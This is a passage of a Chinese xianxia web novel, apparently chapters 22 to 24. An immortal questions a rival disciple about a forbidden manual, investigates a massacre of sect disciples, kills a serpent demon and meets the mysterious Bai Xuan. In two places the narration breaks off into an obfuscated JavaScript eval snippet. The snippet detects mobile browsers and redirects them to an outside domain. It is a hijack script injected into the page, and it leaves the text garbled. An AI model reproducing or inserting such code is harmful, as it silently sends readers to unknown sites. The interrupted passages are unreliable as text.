“一路阴差阳错走到现在,原本我在云州,该去考重霄仙宫的,但因为儿时听说过您和谢剑尊,我就还是想来归明,所以考入了清河道宗。” 停顿一下,她继续道:“起初的愿望就是想来一睹尊者真容,但进门这么多年也只能远远看着,其实也算因祸得福,让我有机会能和您这么近距离说话。进了清河道宗之后,我认识了很多朋友,还跟孙满榕结了仇,后来的愿望就是希望能赶快强大,打败她,保护我身边的人。” 少年人的梦想总是十分地相似。孟星遥沉吟了一会儿,说道:“你识海内的那片建筑,我查了些典故,倒是很像千百年前西荒北地流行的建筑风格。” “西荒北地?”宁音念了一遍,点了点头,行礼告辞,“多谢尊上,我自己会继续找一下,若识海里出现了新线索,我也会抓紧告诉您。” 孟星遥点点头。 秋天的雨一向连绵无尽,已经下了半夜,依旧有无数绵密细长的雨如针般无声地落入水中,激起一圈又一圈的涟漪。 天光乍破之时,孟星遥推门进去,发现孙满榕不知道什么时候醒了。 她双手抱膝地坐在窗边,望着外面的雨景发呆。发觉她进来,这才慌忙地坐端正了身子,挺直脊背维持自己的风度。 孟星遥装作没看见她擦眼泪的动作,提起桌上仙侍备好的茶水,给自己倒了一杯后,轻呷了一口,看向还梗着脖子的孙满榕道:“聊聊?” 孙满榕没反应,她也不急,随手从一旁的架子上拿了本书就开始看,仿佛屋子里就只有她一人一般。也不知过了多久,桌案的对面忽然坐下了一个人。 “你知道了多少?”孙满榕问道。 孟星遥翻过一页书,抬眼示意了一下空了的杯子,孙满榕咬咬牙,拿起一旁的茶壶给她倒了一杯,想了想,又给自己倒了一杯。 举起杯子轻呷一口,孟星遥满意地点头,这才慢悠悠地开口:“是谁给你的大藏心经残卷?” “没意思,怎么你们总问一样的问题,”孙满榕嘲讽一笑,百无聊赖地玩弄着杯子,“我告诉过池师叔了,我去藏书阁禁地拿的……” “都这个点了,也别遮遮掩掩的,”孟星遥说,“若是我现在不救你,大藏心经会让你很快死无葬身之地。” 杯子啪地掉在桌上,孙满榕瞪大眼睛。 22.白 玹(1) “你……你别想骗我!”孙满榕叫道,“我问过,大藏心经不会死人的!” 孟星遥见她这般模样,也不急,只缓缓开口。 “大藏心经当年确实不算禁术,只是你们不知,它虽和太微星辰四象仙法同源,却是魔祖重渊堕魔之前所创,因此才流传不广。” 孙满榕怔住了。 “此卷分了上下两卷,能增进修为的只有第二卷,若无第一卷的制衡,第二卷则会颠倒乾坤,成为夺人灵力的邪术。你为了制衡它去了藏书阁禁地。可惜第一卷是残缺的,它制衡不了下卷。” 右手一转,手心里便出现了一个玉瓶:“你会在锁妖塔袭击宁音,以及在戒律塔袭击我,都是修炼此法的后遗症,你的修为无法控制它,反而在最为紧张的时候被它蒙蔽认知,从而失控,此法害人害己,比如今魔功更甚。” 玉瓶是不透明的,但此刻却从中间开始发黑,不用孟星遥说,孙满榕也看出来了,里面装的就是从她体内收走的灵力。 她抬眼看向孙满榕,少女低垂着脸,神情被藏在阴影之中。 “世人只知道大藏心经可增进修为,却不知道其中渊源奥妙。当年岐山一战,此法旧本连着重渊旧物一同被战乱焚毁。但知己知彼,方可百战百胜,因此我抢救回了不少魔修的心法残卷,留作研究,其中也包括它。” “你若不想让你娘伤心,好好生命葬送于此,你就早点同我说实话。” 知己知彼,方可百战百胜,说来幽默,这居然是为世人所唾骂的天界叛徒黎煊曾经教给她的。 屋内寂静无声,良久,孙满榕才开了口:“百年前,我爹结交了一位门客,他们唤他白先生。他是一介散修,常年云游四方,每次来做客,都会帮飞雪剑宗解决当下的燃眉之急,我每感修炼吃力,也是他点化相助于我。” 百年前? 孟星遥沉思着。 那不恰好是孙常德继任后不久? 当年她慢慢把飞雪剑宗享有的领地、产业、矿脉等逐步收回,结果只剩两脉三城时,孙常德继任。不久后飞雪剑宗忽而奋起向上,令她不好再动。 但又因局面相对平衡,因此她也就暂且收手,静观其变。 却不料飞雪剑宗自此势不可挡,又杀回三十六宗之首,成了归明仙府管辖东荒西洲的中坚力量。 孙满榕继续说:“我此生目标,便是得道成仙,不仅要成仙,还要成为最扬名立万的那一个,可是世事难料,我入门的前两次仙考,都和魁首失之交臂,我以为今年这次我势在必得,谁能料到,我的境界就此止步……” “所以白先生将大藏心经一事告知我的时候,我才会……谁知道,号称道法真藏浩如烟海的归明仙府藏经阁,所收的第一卷竟也是残本……” “……”孟星遥忍不住蹙了眉,“这只是个虚名,有这么重要吗?你为何不等下一次?” “等不了了。”孙满榕冷笑道,“考了三次才拿到第一名,再晚下去,有什么意义,我既然想当最年轻的仙人,自当是什么都要最好的……” 她单手握拳,目光坚定:“我会成为飞雪剑宗真正的宗主,终有一日,带领飞雪剑宗成为天下第一大宗。” 孟星遥勾了勾唇角。 孙满榕噎了一下,不由地急道:“你……你笑什么?这很可笑吗?” 她说:“归明仙府如今一千五百年,我们飞雪剑宗也已经八百多年了,等我渡过天劫,定当回来振兴飞雪剑宗,日后如何,自有分晓。” 多么大逆不道的话。幸好池华殿占地宽广,外边的人听不见。 “嗯。”孟星遥翻过一页书,点点头道,“那我等着那天。” 一看就是没当回事。 孙满榕气急败坏,又拿她没辙,叫嚷道:“行了,你快救我,我都跟你说完了!” 孟星遥按住她的手:“先等等,所以这个白真人你知道多少?他长什么样?” 听到她这么问,孙满榕眼珠一转,双手环胸:“我为何要告诉你?” “你现在有求于我救你一命,这也不够?” “这……当然不够,一码归一码,你这是新问题,当然要有新条件!” 真不愧是孙家的孩子。孟星遥笑了一下,明知故问:“那你要什么?” “我……我还要你帮我恢复法力,拢共这么两件事,你别想拒绝,你肯定有办法!” 确实不难,孟星遥托腮假意思考了一下,颔首道:“我答应你,你说说吧。” 孙满榕瞅瞅她,见她表情认真,这才仔细回想了一番,说道:“这人,我其实也不太了解,只知道他是一介散修,姓白,名玹,我爹尊他为先生,是西荒古幽乡人士。” “他看起来平平无奇,修为却颇为高深,我之前试探过他,无法探寻到他的底子,修为肯定远超于我,而且对大荒局势、魔域仙洲似乎都十分了解,见识广博。不过他虽不以真面目示人,却也很好认,总是带着一副奇怪的面具,爱穿红白色的衣服,随身带着一把折扇,扇面上写着从心二字。” 孟星遥颔首,将方才的玉瓶递了过去,又反手一转,掌心出现了一个散发着淡淡金光的匣子。 “你根基受损,余毒难消,这是锻体解毒丸,回去之后每日一服,继续把身体养好。你的灵力虽被污染,但我用玉净瓶养着,这些天也净得差不多了,你可自行运转周天收回,但多少有所亏损,回不去先前的修为。” 孙满榕半信半疑地将东西收了过去,似乎不太相信她这么好说话,但又看不出什么异常,最后还是梗着脖子道:“谢了,那你可以来救我了。” “救你?”孟星遥疑惑地看向她,“我已经救过你了呀。” 孙满榕一愣,随即想起之前在戒律塔的事,顿时气不打一处来:“你,你!你诓我!!” 孟星遥说:“别急,我听说那个林悦君很是优秀,你那么急着恢复修为,是怕输给她?” 孙满榕本就气得跺脚,听她这么一说,表情瞬间如吃了苍蝇一般,厌恶地皱起眉,分外嫌弃:“我会输给她?一个趁人之危的东西,和她娘一样令人讨厌。” “都是飞雪剑宗的,还是姐妹,你为何对她如此敌视?” “姐妹,她配吗,她不配!日后我若当上宗主,第一件事就是把她赶出去。”孙满榕收起东西,没好气道,“你喜欢多管闲事,可以收她当个徒弟,但是飞雪剑宗,我是一定会赶她走的!” 她急急忙忙地跑出去,差点撞到刚走进门的池苒。 池苒奇怪道:“她干嘛呢?你打她了?” “哪敢啊。”孟星遥放下书,“怎么了?” “清河道宗出事了。”池苒难得一派肃容,沉声道,“刚报来的消息。” * 山雾弥漫,鸟雀啼鸣,此间空旷,回响处,别是一番寂寥凄惨。 孟星遥到的时候,已经有不少人聚在了门外,就连宁音也在,她显然也是刚到不久。 空气里弥漫着一股挥之不去的血腥味,以及压抑着的啜泣声。 公明堂办事很利落,现场被迅速戒严,饶是有心理准备,进去时依然觉得触目惊心。 原本此处是清河宗的悟道堂,专供弟子钻研心法交流而用,故布局讲究,亦栽种了不少奇花异草。 此刻,那些花草树木全都枯竭残败,无一生气,跟着满院破碎的器具、布条一起,像被狂风吹过一般散落一地。 而更深处,更是惨烈,满地血流成河不说,血液亦四散飞溅,到处都是。院子的正中,还被人用血画了一个巨大的圆,其间写了一个鲜血淋漓的死字。 在死字的正后方,是悟道堂的正屋门,此时屋门大开,堂中正供奉着无上玄清三圣人像,香炉里点了三支香,青烟袅袅之间,圣人垂目,静谧悠长。 身旁的公明堂弟子连忙上前汇报情况。 死者一共有四名弟子,俱是清河宗精英弟子,已达灵窍境,今年都参加了闻秋试,皆榜上有名,但自从宗门大比结束后,清河门人便未曾见过他们回来。 但修士行踪不定也是常有之事,门中只当他们有其他要事,直到这几日排位名牒递过来时,这四人仍不在清河宗内,亦未有消息,方才察觉不对。 遍寻几日无果后,清河道宗宗主陆源康本是打算今日将情况报至归明仙府,没想到昨日深夜,就有弟子听到这间悟道堂的方向传来奇怪的动静,等今天过来打开一看,便发现了这般惨状。 现场的死者模样更是恐怖,全身骨折,筋脉尽断,被发现时,像一个个破布娃娃悬挂于屋顶和树枝头,随风摇摆,面上亦是七窍流血,表情惊恐。 陆源康携门中长老连忙就地布阵招魂,灵窍境的子弟,神识已成,若魂魄尚在,可施法养魂重塑肉身,然阵法却晦暗明灭,油尽灯枯,竟是已经命陨神消。 有死者的师长亲友接受不了,当场昏厥过去,亦有人悲号哭泣不已。 宁音也望着其中一人,呆住了,她难以置信地走上两步,喃喃道:“周师兄?” 池苒峨眉轻蹙,望着堂中布局,讶然道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840633|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个布局……这是,玄阴万魂阵?” 玄阴万魂血阵,魔妖之邪术,专以生人活魂为祭,残忍至极。 以鲜血绘制,镇物压住东西南北四角,将此处化为炼制的牢笼。 扑面而来的死气,悟道堂满地残败,被人就地取材,以这堆破碎之物及四具死尸,布此阵法。 这满院生气和那四道精魂,早已被人当作养料吸食,若非陆源康警惕,救人心切不慎误入阵法的弟子亦会被当作盘中餐。 这是天知境以上的妖魔才会的招数。 孟星遥只一眼,一挥衣袖,灵力瞬间化作厉风斩向角落里一堆不起眼的石子。 阵眼被破坏的一刻,那血淋淋的死字如琉璃一般碎裂开来,整个悟道堂的死气刹那间化作黑雾消散而去。 雕虫小技,也敢在此造次。 身后的弟子们一拥而入,迅速包围现场。孟星遥环顾四周,微微蹙眉。 方才被阵法所遮掩,此刻才看清,屋舍、地上,都布满着又长又弯曲,像是被巨大的车轮子胡乱碾压过一般的痕迹。 她走到阵眼的旁边,仔细端详,忽然抬手,那一堆染血的乱石子之中,有一枚小小的石头应声飞到她的掌心,随着她的念力微动,那石头瞬间化开,露出了一枚薄如蝉翼的青色鳞片。 随着日光的照射,那枚鳞片还散发出淡淡的金光。 “我说陆宗主为何破不掉这阵法。”她低头对身旁的池苒道,“幽水冥蚺,好大的胆子,也敢来清衡山地界造次。” “幽水冥蚺?此等邪魔怎敢出现在清修净地,看这鳞片的模样,这怕是一只即将变蛟的蚺王。” 蛇经千年而蜕变成蟒,蟒过千年而蜕变成蚺,能剥下自己鳞片布阵的蚺妖,和蛟龙几乎无差,只差临门一脚。 “尊上、师父。”身后有一公明堂弟子急匆匆上前,是池苒的亲传二弟子铃君,她甚至顾不上行礼,着急道,“我们在九曲山林里发现许多尸体,皆是三十六宗弟子,所幸方才救下了一位出逃的云灵门弟子,他身受重伤,昏迷之前,说绑他者为一只青金巨蛇。” 池苒急道:“不好,这两日刚收到云灵门、玄剑阁等十六处宗门的传信,各有弟子失联的事情发生,而且皆为灵窍境以上的精英弟子。” 孟星遥神色凝重。清河宗坐落的山便是九曲山,坐落在清衡山的东南方向,离归明仙府最近。沿途如此多的尸体,弟子的证词,加之眼前的场景,情况再明显不过。 皆是这幽水冥蚺所为。 “尸首可清点过数目,和失踪人数可吻合?” “回尊上,弟子们大力搜寻,暂发现尸首三十六具,重伤弟子二十七名,还有十四人下落不明,其他轻伤弟子尚来不及清点。” 事态紧急,孟星遥厉声道:“胆敢伤我归明英才,罪不容诛。池苒,派人救治伤患,安抚宗门,助三十六宗处理后事,另择六七精英,随我一同前往救人。” “尊上,尊上!我也想同去!”宁音忽然冲了过来,她目眦欲裂,浑身都在颤抖,“周师兄,我要替周师兄报仇……” 孟星遥看了她一眼,长袖一挥,宁音便晕了过去。 “照顾好她。”她对陆源康道。 幽水冥蚺再如何厉害,那也不过是对普通修士而言,即便它能将气息藏于无形,在孟星遥眼前也如同掩耳盗铃,自欺欺人。 金衣翻飞,仙气昂然,她阖目掐诀,荡开神识。 淡金光芒如水荡漾开去,覆盖之处,一切瞬间褪去颜色,流速变得缓慢。 风声、哭声、鸟鸣声,皆消失在天地间,落在鼓膜之中的,唯有逐渐清晰的心跳声—— 咚咚、咚咚。 孟星遥睁开眼,眼前原本空无一物的破败杂乱之处,忽而显现出一条泛着幽幽青光的水痕,蜿蜒而去,一直至密林深处。 衣袂翻飞,仙剑长啸,她腾空而起,携归明仙府众弟子直奔而去。 九曲之山,密林深处,越往里走,越是幽深。阳光都无法照进,那层层叠叠枝桠交错丛生,令人不辨白昼黑夜。 绿色的瘴气愈发浓烈,遮天蔽日的巨木随处可见,令人无法御剑飞行。但这些拦不住孟星遥,她随手一挥,灵气如利刃飞出,轻松斩断厚重如墙的枝叶。 一行人沿着水痕畅通无阻地一路前行。 这里是连管辖九曲山的清河道宗都不曾深入过的地方,青色的水痕逐渐变得清晰,那令人胆寒的魔气也随之越发浓郁。 最终水痕止步于一个被潭水半淹的山洞之前。 23.白 玹(2) 覆满青苔的藤曼自粗壮的巨木上垂挂下来,半遮住洞口,幽深如镜的潭水倒映出满目森然,水汽氤氲又粘稠,带来无边的寒意。偶有不知道何处泛起的涟漪,一圈一圈荡漾开去,又很快归为平静。 就在洞窟的入口处,有随意丢弃的几件破碎的衣袍,深处隐约有凄惨的叫声传来。 众人心中皆是一紧。 未等孟星遥指示,铃君等人已经下意识列阵布法。此处静谧无风,凄寒入骨,孟星遥垂眸轻拨指尖,正在弟子们准备慢慢往洞口接近时,她突然抬手,一道金光罩刹那落下,罩住铃君等人。 下一刻,她已如疾风一般迅速飞入洞口。 ——轰!! “尊上!” 在铃君的尖叫声中,石崩山裂,小小的山洞瞬间自水中拔地而起,化为了巨蚺的深渊巨口。 五只金色的蛇瞳同时自黑暗之中睁开,幽水冥蚺一甩他那比千年巨木还要粗壮的青色身躯,潭水飞溅,苔草枯枝如雨水般抖落而下。 粗重的气息自它的鼻孔里吹出,一呼一吸之间,狂风大作,茂密的密林顷刻之间也被扫空一片,惊起飞禽走兽四处奔逃。 它怒气冲冲地紧盯着那飘逸在空中的金色倩影,似是十分不服气。 铃君等人迅速围了上来,扶过被孟星遥救出的伤者,孟星遥又将锁魂囊递给了她,里面是她方才自幽水冥蚺腹中强行夺出的,还未被完全炼化的魂魄精元。 “铃君,带人走。” 孟星遥沉静如水地指挥道。 “是,尊上!” 随着她的轻轻一挥,金光罩便随着铃君等人,护着刚救出的伤患一同往清河宗方向飞去,幽水冥蚺下意识想去追,却又被一股如山岳一般的威势顷刻压得动弹不得。 纤阿剑如冰似雪,映照漫天金光,闪电般刺穿幽水冥蚺的几处命门,最后剑指它的金色眼瞳。 “谁借你的胆来清衡山放肆?”她问道。 “呵呵呵……” 如风烛残年的老人,幽水冥蚺从喉间挤出吃力的笑,虽命门被伤,血液沿着鳞片蔓延开来,一点点带走它的力气,但它却似乎一点也不害怕,反而仰首看向孟星遥。 幽幽蛇语响起。 “清衡山……我只记得两千年前,这里叫幽水岭,是我幽水蛇族祖辈生活之地,我来这里,有何不可?” “呵,那你又为何残害我归明子弟?” “非我族类,杀之,又何如?” “好一个杀之又何如。”孟星遥冷笑道,“尔等妖族,果然无可与之言。” 真是空费无用口舌。 一道剑气从纤阿剑柄处凝聚至剑尖,空气之中的威压更甚,孟星遥冷眼扫过幽水冥蚺的全身,抬手就朝其七寸命门刺去—— 猛然间! “砰!砰!砰!——” 忽地一道惊雷,自潭水之中炸起三道水帘,带着雷霆万钧之势汹涌而来! 素色飘带翻飞,凝结成护身法阵,即刻将孟星遥笼罩起来。 漫天而来的水隔空落下,形成一帘巨大的水幕,将她与幽水冥蚺分隔开来。 孟星遥冷眼观之,手中长剑迸发出滔天剑意,金光幻化作白虎啸破西风,剑身长鸣一声,冲月剑诀化作无数星芒,直奔幽水冥蚺而去。 就在这一刹那,忽然白光乍破,有一物破空而来,瞬间挡住她的剑气! 霎时间,风云突变,无数血水滚滚落下,带着冲天的黑气包裹着幽水冥蚺,青鳞迸发出巨大的光芒,巨蛇嘶吼,地动山摇! 黑雾化作滔天血浪,如飓风过境,将潭水的百里之内夷为平地! 幽水冥蚺咆哮而起,紧闭的五只瞳孔此刻尽数睁开,锐利的蛇瞳光芒四射。 魔气穿刺出它的头颅与身体,化作了两只冒着血泡的崎岖犄角与四只短小肿胀却锋利的巨爪,一身的青鳞鼓胀而起,又纷纷掉落,露出斑驳不一,浸满鲜血的黑色鳞片,长长的粗粝黑须随着它的一呼一吸飘扬,迎风摇曳。 魔气与血水交织,翻涌出惊天骇浪! 这一切不过须臾之间,幽蚺的巨爪落下的同时,孟星遥剑招被挡,莲步轻点,顺势向后飘出数丈之远。 那方才挡住她剑气的物什在她的剑尖上转了几圈,又轻轻地弹飞出去。 她定睛一看,不远处的空中不知何时出现了另一个人,带着一个奇怪的面具,长发如瀑,左耳边垂挂着一条细细的发辫,缀着红玉坠子,白衣红带,衣袂翻飞。 挡住她的东西,正是一把看着平平无奇,只画着红色枫叶的折扇。 下一刻,扇子打着转,落回那人手上。 就在此时,遥远的天地之间,忽然传来一声悠然的笛声。 幽水冥蚺骤然破境,仰天长啸,气焰嚣张,正跃跃欲试抬起利爪,却陡然神色一变。它眯起金色蛇瞳,望向笛声的方向,随后蓦地一甩尾巴,趁黑雾散去的瞬间溜得无影无踪。 见他逃了,那持扇之人也赶忙紧随其后,下一刻,凛冽的剑光破空而至,他翻身一挡,却被剑招震得后退两步,连忙一个疾步退开。 但来者杀意滔天,万千剑光化作密集的牢笼,任凭如何敏捷躲避,皆如困兽犹斗。 在折扇挡住又一次杀招之时,那人终于受不了了,开口道:“等等……” 话音未落,又一剑光呼啸而至,逼得人慌忙躲避,这一次却慢了一步,那剑光堪堪擦着对方的脸颊、发鬓,最后如流星划破长空,逐渐消失不见。 在剑光消失的那一刻,那张简陋又古怪的面具也随风而起,飞扬的长发拂过来人的脸庞,那人有些错愕地抬起头,恰与孟星遥相对而视。 她感受到乾坤袋里的狼毫仙笔极其微弱地动了一下。 面具之下,是一张很漂亮的脸。 肌肤胜雪,面如桃瓣,一双狐狸眼媚态丛生。 伴着额边碎发轻扬,长辫轻轻甩起,镂空红玉坠子叮当作响,衣袂飘然处,平添几分美丽神秘。 当真配得上“美人”二字。 短暂的对视后,那人开了口。 “你这人好没道理,我救了你,你怎地还恩将仇报。” 居然是个男子。 他郁闷地看向孟星遥,语气颇有几分无奈。 孟星遥见过很多好看的男修,无论是天界,还是人间,仅说谢云迢和危梦之,都已经算得上是人中极品。 但眼前的男子亦更胜一筹。 她收回了剑势,冷声问道:“你是何人?” “哎呀哎呀!”她话音未落,那人却突然大呼小叫起来,“你!你你!打坏了我的面具,这要怎么办?” 他一脸的痛心疾首,手中捧着的那个面具似笑非笑,又丑又怪,看不出是什么材质,也看不出来哪里值钱。 孟星遥眉头微微蹙起,她记得池苒教过她一个时兴的词。 在凡间,这叫碰瓷。 她随手从乾坤袋里掏了几块灵石丢给他。 “就这么点灵石?”他愤愤不平,“你打发叫花子呢!” “你知道我是谁吗?”她环着双臂,好笑地看着对方。 “呀,你是谁?”那男子反问道。 摇光上仙威名远播,至少在西洲,从来是无人不识,被突然这么一问,孟星遥反倒怔住了。 她略感不适,正欲开口,却恰好瞥见那男子狡黠一笑。 不对,这人胆敢逗弄她! 孟星遥猛地紧抿双唇,冷眼相看,神色凛厉。 见她高冷难近,目露戒备,男子把玩着扇子,刷地打开,只见上面龙飞凤舞地写了两个潦草至极的字——从心。 “好吧,你不说,那我来猜猜吧。”他悠哉游哉地绕着她转了两圈,拿扇子敲了敲脑袋,“这里虽是九曲山地界,但九曲靠近清衡山,阁下仙姿佚貌,却威压迫人,手中仙剑冻冰凝霜,如月寒芒,想来……乃归明仙府摇光上仙是也。” “你既知晓,还敢讹我?” “非也非也,瞧您这话说的,我可是个实诚人。”男子举起面具,一双似笑非笑的狐狸眼流露着诚恳,“这面具虽然不起眼,但在我们老家,它可意义非凡。亲手做的面具,只有自己能摘,第一个摘下自己面具的异性,可是要结为夫妻的。” “少来,我没想摘你面具。”孟星遥说,“只是不巧被打下来了。” 男子眨了眨眼,点点头:“的确如此,上仙也不是故意为之,这也好办,我把面具修好,就当无事发生过……可是啊,我这副面具,价值连城,它的本体乃是用西荒神木菩提树所制,一千年才可成一株。所用的丹砂、石墨等颜料,乃是西海的落日砂与天山的白泉墨,一两万金,更别提,它还用三昧真火淬炼过,非凡物不可斩破……” 纤阿剑低啸一声,瞬间落在男子的脖颈间。 “少废话,”她声如寒霜,“你不在泽苍山,为何会出现在这里?” “……我?仙尊认识我?” “泽苍山飞雪剑宗的座上宾,白玹真人,对吗?” “咦?”他眼珠一转,微微蹙眉,有些不解,“那……既然仙尊认识我,方才为何对我痛下杀手?” 孟星遥说:“我平生最恨助纣为虐的魔修,你既是飞雪剑宗门客,也算相识一场,我留你三句遗言,你仔细想罢。” “等等,我是魔修?” “一句。” “等下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟星遥御风而来,疾如雷电,循着妖龙的魔气一路飞驰,山林美景转瞬即逝,飞驰九万九千九百丈之后,她抵达了一处层峦叠嶂的深山密林。 远远望去,奇峰险峻,怪石嶙峋。 山势峰回路转,拔地而起的同时像被人从中挖掉了一个口子,形成一个怪异的山盆巨口,被落霞染成红色,如一只巨兽仰首张嘴,恰好吞掉了此时正渐渐西沉的落日。 一旁的白玹双手轻摇从心扇,摇头轻叹:“天狗吞日,会逢死炁,入者无门,生者勿出,是凶阵啊。” 他虽被缚了捆仙索,但一点也不影响他各种小动作。 话中语气听似感叹,却带着某种看热闹不嫌事大的起哄。 孟星遥几道剑气杀去,落入那血口之中,果真如碎石掉入深海,消失得无声无息,仿佛有看不见的深渊,将它们吞噬下去。 她静静观察,像是在思考什么。 白玹的扇子化出一道宽敞的扇影,载着他一路飞来,此时也绕着这座山头转悠了一圈,情况不明,他也不敢贸然下去。 天色愈晚,日头倾斜到天边一角,恰到酉时。 四周昏暗下来,几乎是一瞬间的事。十一月的天虽然易黑,但也不该黑得如此之快。 在场的二人心知肚明,他们已经进入到了某种结界之中。 入者无门,无门亦可入。 汹涌澎拜的魔气不知从哪里突然涌出,顷刻之间将二人包围,但又被护体真气抵挡在外,只敢在一丈之外徘徊。 白玹瞥了一眼孟星遥,拢在袖子里的手握了握,正欲杀出一条出路,下一刻,孟星遥的身上忽而泛起淡淡蓝光。 她闭上眼,指作莲花状,手中微光随着她的动作,自虚空之中凝聚成一盏淡淡的琉璃灯,点点光芒迸发出无尽力量,仿佛能涤尽世间一切污秽。 那愈见浓重的魔气遮天蔽日而来,却在触及那微光之时,像是惧怕被灼伤一般惊恐后退。 九天长明灯·渡厄。 传闻前任天帝无极帝君黎煊领兵征战天下时,曾经得到过七件上古神武,恰好配与太微七曜,而孟星遥得到的就是九天长明灯。 此灯共有九盏,一盏可照一重天,以灯结阵,可净化灾厄,引渡亡魂,九盏共燃时,可涤尽万伤万恶,天地灵气皆为吾所用。 不过没有人见过这般盛况,连她自己也没有,孟星遥修炼到现在,最凶险的战况下也不过堪堪点燃过七盏而已。 风声嘈杂,魔邪嘶吼,琉璃灯以清正之光,强势地自这片魔雾之中荡开了一条大道。 24.白玹(3) 灯光映照处,万邪不侵。 孟星遥猛地睁开眼睛,拔出纤阿剑,御风而起,朝着天狗眼睛的方向直刺而去。 那浓重的黑雾如有实体,硬生生抗下她这一斩,但坚持不过半分,又如脆弱的玻璃,顷刻之间碎裂开来。 黑雾破碎的那一刻,有微弱的天光自缺口照射进来。 忽然!一个巨大的黑掌带着滔天的杀意,穿过天光,以山呼海啸之势就朝着孟星遥拍来! 摇铃叮当碎响,红枫坠子剧烈摇曳,一道屏障在巨尾砸下的那一瞬挡住了孟星遥。 白玹飞身上前,生生替她抗住幽水冥蛟一击! 巨掌拍空,五只金瞳在黑暗中睁开,幽水冥蛟昂首,吐露着粗气,瞥见那自掌下溜走的女子,金衣飒然,跃上高空。 长剑带着落日的余晖,以雷霆万钧之势刺向自己的七寸! 它嘶吼一声,那咆哮带着震慑万物的威严,肿胀的巨爪压塌山崖,强劲的黑尾一扫,砸开孟星遥的攻势,又迅速张开巨口扑了过去。 一片腾空的巨大雾气之中,它畸形的龙角沐浴着残存的光照,彰显着它已然不同的身份。 它不再是那只能苟活在密林深潭之下,终日与藤曼水苔为伴的蚺蛇。在层层蔽日的厚叶枯枝之中,如同湿土之下的蚯蚓般,照不见天日,亦不敢窥探天日。 多少年了,自从祖辈逃离幽水岭,便再也不能返程,本想着有朝一日杀回故乡,却眼见得占领此地的仙门越发强大,后来竟成了天界众仙之首。 没有故土灵壤,修炼成了困顿它们一生的难题。 如今,它挣脱枷锁,升境为蛟龙,再也无人能够阻挡它。 是魔也好,是仙也罢,它终于可以走出那片密不透风的深林,腾空飞翔在天地之间。 哈哈哈哈哈哈…… 它仰天大笑之时,被黑雾笼罩的天地间忽地闪过万千如剑刺目亮光,又在蛟龙的吐息吞噬之中归为静谧。 结束了吗? 幽水冥蛟想。 如果结束了,它很想先休息一会儿,去那天狗峰的最高处,静静地趴着吹一会儿风,适应一下自己的新身份,等着一生中新一天的开始,然后携子孙们踏平这仙门,收回故土。 然而黑雾逐渐散去的那一刻,它看见自己的头,被孟星遥提溜在手上。 ……为什么? 它看着那颗瞪大双眼,满嘴是血的龙头,想开口,却发现自己已经发不出任何声音。 在被长明灯吸进灯火之前,它看见那畸形的龙角和长须,自自己的头上,化作黑雾慢慢消失了。 对于手上那颗死不瞑目的蛇头的变化,孟星遥似乎并不意外,她看向朝自己飞来的白玹,只淡淡地点了点头:“多谢。” 说罢,就把那蛇头丢进了长明灯里。 功德簿白光一闪,一个银色正字恰好添上最后一笔。 这厮真是小气得要紧,大中小功德分得一清二楚,从来不给多算。 蛇头是被连着七寸一起砍下的,在真火的灼烧下,很快化作了一颗小小的金丹。 白玹望着蛇头看了一会儿,轻声道:“它并没有真的化蛟。” “是,”孟星遥以为他在问自己,点了点头,“魔修之道,向来如此。以为捷径,不过是预借法力罢了。因此它才要去杀人夺灵,若不能及时填补,不是今日死于我手,他日也必受反噬而亡。” 白玹轻轻一笑,低声道:“受教了。”话音未落,他忽然惊讶一声。 孟星遥循着他的视线望去,也目露讶异。原是方才打斗之中,失去了控制的蛇身意外砸向了天狗峰,却正好砸断了狗头。 阵法既破,结界所设的障眼法也随之消失。 原本险峻独立的山峰裂开了一道缝隙,变作了一处深不可测的山谷。 孟星遥立刻起身往前飞去,只往前接近了一点点,便有滔天的妖气扑面而来,竟是一处未曾被人发觉的大妖窟。 她荡开神识,眉头紧蹙,仅仅只是入口处,已可隐约窥见有成千上万的蟒蛇蛰伏,如纠缠成结的爬藤一般,越是深入,那妖气越发深厚,竟和方才那只冥蚺想比也毫不逊色。 原来这里竟是它的老巢。 可这里为什么会有这么大的妖窟,虽说这天狗吞日的凶阵确实难破,但也并非毫无漏洞。她低头仔细探查,只见山谷之处,断崖新痕,小树初芽,应当迁来不过十多年。 她猛地望向另一边,就在数千里之外,恰好有一座四通八达,人烟鼎盛之城。 名唤“云凌城”。 * 夕阳没入山头,远处的火烧云逐渐变深,夜色微凉,山风也大了起来。 山林深处,树影憧憧,偶有飞鸟划过天际,啼鸣一声,化作山谷里无尽的回响。 白玹半蹲着,伸手扶起崖边一朵长在夹缝中,被风吹得东倒西歪的紫色小野花。 在这空旷的地方,如果没遇见他们,这朵小花很快就会被越来越大的夜风刮走,不知所踪。 他注视着它,最后捡了几块石头挡在它的身侧,圈出一块小小的庇护所,恰好让它能躲藏其中。 做完这一切的时候,他拍了拍手,回头看见站在另一边孟星遥正望着山谷深处,不知道在想什么。 “你打算怎么处置这里?” 他俩围着这处妖窟探查了好一会儿,初步得出了一个结论。 这是一处刚成型不到二十年的妖窟,规模不小,看着像是以幽水冥蛇为主的族群,还有零零散散的其他妖兽。 这样的妖窟,在人迹罕至的雨林里并不少见。幽水冥蛇自千年前被人族驱逐出幽水岭,便迁移到了更靠西边的,多雨林的西南荒地,没想到千年之后还能在这里看见它们。 妖兽一般不轻易搬迁,除非受到了生命威胁。 看来新任天帝,长泽帝君璩归元的西征重启大计还是卓有成效。 三千年前,神魔对峙,昆仑山崩,建木倒塌,旧天界化为神墟,众神残部被迫迁往东荒,但祸兮福所依,也由此拉开了大荒日后仙宗林立,人修当道,共筑十方仙洲的序幕。 